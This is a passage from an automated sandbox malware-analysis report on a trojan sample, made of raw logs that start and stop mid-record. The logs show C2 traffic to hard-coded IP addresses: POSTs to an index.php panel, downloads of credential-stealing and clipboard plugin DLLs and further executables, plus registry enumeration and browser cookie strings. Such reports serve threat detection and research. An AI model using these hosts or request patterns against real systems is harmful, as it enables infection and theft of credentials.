/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "/Pneh2sXQk0/Plugins/cred" in header "GET /Pneh2sXQk0/Plugins/cred.dll HTTP/1.1Host: 193.233.132.56" Contains base64 string in header "POST" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "174Cache" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "/Pneh2sXQk0/Plugins/clip" in header "GET /Pneh2sXQk0/Plugins/clip.dll HTTP/1.1Host: 193.233.132.56" Contains base64 string in header "POST" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cache"4e:T9cb,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME")4f:T4e1,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")50:T131a,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "MPGPH131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "0vQtc1KIjQkdk7qpTGNC.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "0vQtc1KIjQkdk7qpTGNC.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "0vQtc1KIjQkdk7qpTGNC.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "0vQtc1KIjQkdk7qpTGNC.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "0vQtc1KIjQkdk7qpTGNC.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "vuEHvJWCFCJbTIvfzowF.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "vuEHvJWCFCJbTIvfzowF.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "vuEHvJWCFCJbTIvfzowF.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "adC6OmUngQpxgfWu2AmC.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "adC6OmUngQpxgfWu2AmC.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "adC6OmUngQpxgfWu2AmC.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "adC6OmUngQpxgfWu2AmC.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "adC6OmUngQpxgfWu2AmC.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "MSIUpdaterV131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "MSIUpdaterV131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MSIUpdaterV131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "netsh.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "netsh.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "RageMP131.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AdobeUpdaterV131.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AdobeUpdaterV131.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AdobeUpdaterV131.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135]51:T5b8,Found string "https://www.youtube.com/account" (Indicator: "youtube"; File: "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156") Found string "VISITOR_INFO1_LIVE2mOD7hZRM0Qyoutube.com/9217280863500831131777148893844331095582CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367VISITOR_PRIVACY_METADATACgJVUxIEGgAgDQ%3D%3Dyoutube.com/9217280863500831131777148878244231095582" (Indicator: "youtube"; File: "W6ZVAM9O.txt") Found string "VISITOR_INFO1_LIVE2mOD7hZRM0Qyoutube.com/9217280863500831131777148893844331095582CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "LJYXPS4M.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "if (window.parent && window.parent.postMessage) {window.parent.postMessage( google.checkconnection.getMsgToSend('youtube', '1710978029601'), 'https:\/\/accounts.google.com');}" (Indicator: "youtube"; File: "CheckConnection_1_.htm") Found string "if (window.parent && window.parent.postMessage) {window.parent.postMessage( google.checkconnection.getMsgToSend('youtube', '1710983103362'), 'https:\/\/accounts.google.com');}" (Indicator: "youtube"; File: "CheckConnection_1_.htm") Found string "youTube" (Indicator: "youtube"; File: "screen_14.png") Found string "YouTube" (Indicator: "youtube"; File: "screen_14.png")52:T3b7e,"GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:43:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:43:20 GMT Server: cloudflare CF-RAY: 8678e0318f3b67be-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:43:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:43:57 GMT Server: cloudflare CF-RAY: 8678e117dc33984f-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /cost/lenin.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.167 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:43:56 GMT Content-Type: application/octet-stream Content-Length: 3102720 Last-Modified: Wed 20 Mar 2024 21:07:30 GMT Connection: keep-alive ETag: "65fb5012-2f5800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000028010000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:44:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:44:27 GMT Server: cloudflare CF-RAY: 8678e1d389c0fabe-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /hera/amadka.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.62:57893 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed 20 Mar 2024 21:08:15 GMT Accept-Ranges: bytes ETag: "1ca492b9a7bda1:0" Server: Microsoft-IIS/10.0 Date: Wed 20 Mar 2024 21:44:11 GMT Content-Length: 1884672 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F8000000....... "GET /cost/go.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.167 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:44:18 GMT Content-Type: application/octet-stream Content-Length: 915968 Last-Modified: Wed 20 Mar 2024 21:20:03 GMT Connection: keep-alive ETag: "65fb5303-dfa00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:44:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:44:41 GMT Server: cloudflare CF-RAY: 8678e22cc982faa2-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4176 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Wed 20 Mar 2024 21:44:47 GMT Last-Modified: Wed 20 Mar 2024 20:35:12 GMT Server: ECAcc (sac/255F) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 744 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Wed 20 Mar 2024 21:44:48 GMT Last-Modified: Wed 20 Mar 2024 21:32:24 GMT Server: ECAcc (sac/256F) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 21:31:46 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 782 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA216041432192D2918BF035A75726826C5E5F33E11AB3206180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 21:28:18 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 990 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 21:43:46 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 63 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 21:16:24 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1706 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 21:15:31 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1761 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 20 Mar 2024 20:46:58 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3475 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /Pneh2sXQk0/Plugins/cred.dll HTTP/1.1 Host: 193.233.132.56" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:44:57 GMT Content-Type: application/octet-stream Content-Length: 1084928 Last-Modified: Sun 03 Mar 2024 11:54:33 GMT Connection: keep-alive ETag: "65e464f9-108e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:45:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:45:19 GMT Server: cloudflare CF-RAY: 8678e319bee1968c-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /Pneh2sXQk0/Plugins/clip.dll HTTP/1.1 Host: 193.233.132.56" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:45:05 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Sun 03 Mar 2024 11:54:32 GMT Connection: keep-alive ETag: "65e464f8-1b600" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /cost/lenin.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.167 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:45:21 GMT Content-Type: application/octet-stream Content-Length: 3102720 Last-Modified: Wed 20 Mar 2024 21:07:30 GMT Connection: keep-alive ETag: "65fb5012-2f5800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000028010000....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:45:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:45:47 GMT Server: cloudflare CF-RAY: 8678e3c9b85696b1-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; 